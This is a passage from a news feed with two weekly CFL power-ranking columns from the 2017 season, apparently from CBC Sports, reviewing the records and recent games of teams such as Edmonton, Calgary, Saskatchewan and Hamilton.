6. Saskatchewan Roughriders (up from 8)

  • Record: 2-3
  • Streak: Won 1
  • Next: At B.C.

Duron Carter likes to talk a big game because it seems important to his psyche. This time he played a really huge one vs. Toronto. Carter surpassed everyone on a night of great receiver play with nine catches for 131 yards and an awesome back-handed catch in the end zone that is up there with the famous Ben Cahoon effort. A lack of consistency across the schedule has been the knock on Carter and you always look at this type of game as a harbinger for things to come. However, in his defence, there aren’t many across the league who have put in 909-1,030-938 total yards over the last three years. Riders seem to be coming along and they can show how far this week on the coast.

Game Wrap: Riders upset East leading Argos1:54

7. Ottawa Redblacks (unchanged — bye)

  • Record: 1-4-1
  • Streak: Lost 1
  • Next: Winnipeg

When you look back at the end of the season and see a team has lost a ton of games by a field goal or less, that’s the sign of a bad football club. When you can say after six games the club has lost four times by a total of 10 points, you might be pointing at one that’s about to break out. A change may be as good as a rest, but this time a rest was better than everything, given how tight the schedule had been lately. What’s helpful is the rest of the East is hanging around, so some good play in the next month could topsy-turvy the standings. The Cup champs are giving up too many passing yards (more than 350 a game), despite getting some good rush up front. That points either to the secondary, or the scheme. Offence is doing okay. Now, more discipline, less mistakes.

8. Montreal Alouettes (down from 6)

  • Record: 2-4
  • Streak: Lost 2
  • Next: Bye

That was absolutely unacceptable in Winnipeg. You do not give up 13 points in 2:18 when you have a team put away. Soft defence, poor tackling, loss of concentration, poor discipline. A waste of an excellent outing by QB Darian Durant’s offence, one that piled up 495 yards net, including an impressive balance of 183 on the ground and 348 in the air. It looked by the fourth quarter as though Winnipeg had wilted in the heat. Montreal melted. This would not have been a perfect win, by any means, as the Larks failed to score from the one and had to settle for a field goal, and there were a couple of bad penalties. But the fans would have forgiven it for a big victory on the road. Type of loss that can affect a team for weeks to come.

9. Hamilton Tiger-Cats (unchanged)                        

  • Record: 0-5
  • Streak: Lost 5
  • Next: At Edmonton

There was a moment in the first half against Calgary that seemed to encapsulate where the Tiger-Cats are right now. Play 55 found the Cats down 24-0, third and five on their own 53. Punter Sergio Castillo faked, looked down at the ball to find the laces, then launched a wounded duck in the general direction of a receiver who dove and missed it. Nothing said “We’re out of ideas” more than that choice. A week after giving Edmonton a good battle, Kent Austin’s team suffered the second-worst loss in team history, and third worst in CFL archives. The defence was awful, even after the home side emptied its bench for the second half. The offence, under both QBs, was distressed. It’s officially broken in Steeltown, but we’re against drastic moves such as firing the coach. 

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]]> https://briefnews.eu/cfl-power-rankings-trio-of-receivers-has-eskimos-flying-high/feed/ 0 CFL Power Rankings: Eskimos claim top spot from Stamps https://briefnews.eu/cfl-power-rankings-eskimos-claim-top-spot-from-stamps/ https://briefnews.eu/cfl-power-rankings-eskimos-claim-top-spot-from-stamps/#respond Wed, 19 Jul 2017 03:24:23 +0000 http://briefnews.eu/cfl-power-rankings-eskimos-claim-top-spot-from-stamps/

Malcolm Kelly breaks down the balance of power in the Canadian Football League.

1. Edmonton Eskimos (up from 2)

  • Record: 3-0
  • Streak: Won 3
  • Next: At Hamilton

The topsy-turvy early season finds a new frontrunner after Week 4. Before a boisterous 36,260 (the 50-50 draw was a record $ 436,000 payout — can somebody please buy me a ticket), the Green and Gold built up 348 net yards, scoring both on offence and defence. Travon Van came in at running back for John White, who is out for the year, and contributed 103 yards, including three carries of better than 10. Receiver Brandon Zylstra, on his way to stardom, caught 10 passes for 108 yards, 45 of them after the catch. Coaches love “on the other hand” as it gives them things to grumble about the next week — Eskies were 1-3 in the red zone, settling for three field goals with just a single major. They’ll work on that.

Edmonton stays perfect with win over Ottawa1:05

2. B.C. Lions (up from 3)

  • Record: 3-1
  • Streak: Won 3
  • Next: Winnipeg

QB Travis Lulay put down the spear he’s been carrying for Jonathon Jennings, retook centre stage in the starring role and brought the house to despair at Hamilton. Jennings was hurt on the first play from scrimmage and after a bumpy start in the first quarter, the experienced Lulay threw for a career-high 436 yards and three TDs, though with two picks. The only thing he didn’t do was sing the theme from Cats. That yardage was the most by a QB in relief going back to 1950. Also in the spotlight was receiver Bryan Burnham, who made a sensational catch for a major while falling backward with a defender on top of him. However, the defence allowed the Kitties 361 yards in the air and that’s too much. Wally’s Men won all three games on their long Eastern road trip. Would be nice if the fans show up this week.

Game Wrap: Lions put on a show in win over Tiger-Cats1:37

3. Calgary Stampeders (down from 1)

  • Record: 2-1-1
  • Streak: Lost 1
  • Next: Saskatchewan

QB Bo Mitchell’s run of 19 straight regular-season games without a loss came to an end as the Stamps dropped one at a wet Montreal. That’s five years in a row they haven’t won in Quebec. Why they lost this time is easy to figure out– they weren’t good enough for 60 minutes. Calgary lost its star running back near the half when Jerome Messam fumbled, chased the man who recovered it into the end zone, and then ripped the helmet off Chip Cox following a collision and was tossed. There were too many defensive errors. The offence was erratic. Mitchell threw for 379 yards, but much of that was on the wrong side of the field. A running game would have helped, as the Stamps had just 28 yards on the ground, while the defence allowed 143 by the Larks.

4. Winnipeg Blue Bombers (up from 7)

  • Record: 2-1
  • Streak: Won 1
  • Next: At B.C.

Big Blue found a win at home on a night that combined survival and opportunity into a pair of points. This Survivor episode featured terrible return coverage (344 yards allowed), and a second quarter where the defence bent into a pretzel on five straight Toronto drives, but would not allow the majors that could have ended this early. Opportunity knocked through a 104-yard kick return TD by Ryan Lankford to start the game, a poor flag on what would have been an Argo return touchdown (costing a fan $ 1 million dollars), and a tremendous rush that kept pressure on the opposing pivot all night. Those defenders allowed zero offensive scores. QB Matt Nichols was steady, protected, had a good running game, and produced 322 yards net. Good job.

5. Montreal Alouettes (up from 8)

  • Record: 2-2
  • Streak: Won 1
  • Next: At Ottawa

There are these often ignored athletes who stand either behind or next to the quarterback whose existence has been denied by some league coaches. It’s the running back — a fast, strong guy who can gain yards on the ground. One of them is Tyrell Sutton, who carried 17 times for 85 yards (of 143 team rushing overall) in an upset of Calgary. More importantly, he had seven opportunities over the final two Larks drives and was the offensive key to this big victory. Add a defence that played strong in the first half, sagged in the third quarter and then tightened up again and you had an effort that reminded one of the glory days in the late 1970s. QB Darian Durant threw for 296 yards, two early picks and a key touchdown when his veteran presence was needed.

Game Wrap: Alouettes hand Stampeders first loss of season1:22

6. Saskatchewan Roughriders (unchanged – bye)

  • Record: 1-2
  • Streak: Won 1
  • Next: At Calgary

Big stories in Regina so far have been the glittering new stadium and the reliable old quarterback. This is Kevin Glenn’s third go-around with the Riders, going back 17 years to his rookie season in 2001. He’s been with the Bombers, Cats, Stampeders, Redblacks, Lions, Riders again, Alouettes, Bombers again, and now back on the prairie. In three games, Glenn is second in league completion percentage and third in quarterback rating. And the team is second in average points scored per game. On defence, Chris Jones’s unit is right in the middle of the league. Penalties are also way down. Now it has to reflect in the wins column, not helped this week as they head into Calgary to play a thoroughly annoyed Stamps side.

7. Toronto Argonauts (down from 4)

  • Record: 2-2
  • Streak: Lost 1
  • Next: Ottawa

QB Ricky Ray had his offence moving well in the middle minutes of the loss to Winnipeg, quickly eating up yards and maneuvering into scoring range on five straight possessions. Result: five field goals. And a loss. Yes, a bad call on a kick return wiped out six, but they also dropped the ball on consecutive plays right after that. Ray did all of this with the Bomber rush on top of him (O-Line allowed two sacks, eight pressures on a guy they cannot afford to have injured). Bomber adjustments, especially on the corners, shut the attack down completely in the second half. Note to the new commish: protect your players from egregious head shots. Ray took a vicious elbow from Peg’s Cory Johnson at game’s end, no flag. Welcome returner Martese Jackson, who had 339 yards on the night.

Game Wrap: Argonauts fall to .500 after loss to Blue Bombers1:53

8. Ottawa Redblacks (down from 5)

  • Record: 0-3-1
  • Streak: Winless in 4
  • Next: Montreal/At Toronto

QB Trevor Harris tweeted the day after this week’s loss to Edmonton: “We will get this done for you guys … We appreciate all the positivity and love.” Right now, he needs it. Harris took over as full-time No. 1 this year and it’s been tough. With 284 yards passing the night was statistically all right, and that last drive for a TD was great. But Harris also threw a bad pass behind an outlet receiver in the second quarter resulting in a fumbled lateral and a score the other way. There were also times he looked to be aiming rather than throwing. Not the time to panic, RB fans (I’ll tell you when), though a tough schedule has them with two games in six days this week, both in the division. The defence played its best game of the year.

9. Hamilton Tiger-Cats (unchanged)                         

  • Record: 0-3
  • Streak: Lost 3
  • Next: Edmonton

Why do the Kitty Kats insist on making things so hard at the beginning of each season? The last five years they’ve stumbled out of the cage, and they can’t keep doing that. A poor defensive secondary effort in the home opener vs. B.C. this week leaves the Black and Gold winless with a tough schedule ahead featuring unbeaten Edmonton twice, and Calgary. QB Zach Collaros produced enough offence (361 yards passing, plus a shocking 81 on the ground from a team that hates running) but the corners and defensive backs let the side down again. Personnel? A problem with assignments? Something has to change because Eskimos’ Mike Reilly and Stamps’ Bo Mitchell will rip these guys apart without fixes. Can’t count on the rest of the East waiting around for Hamilton to catch up.

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CBC | Sports News

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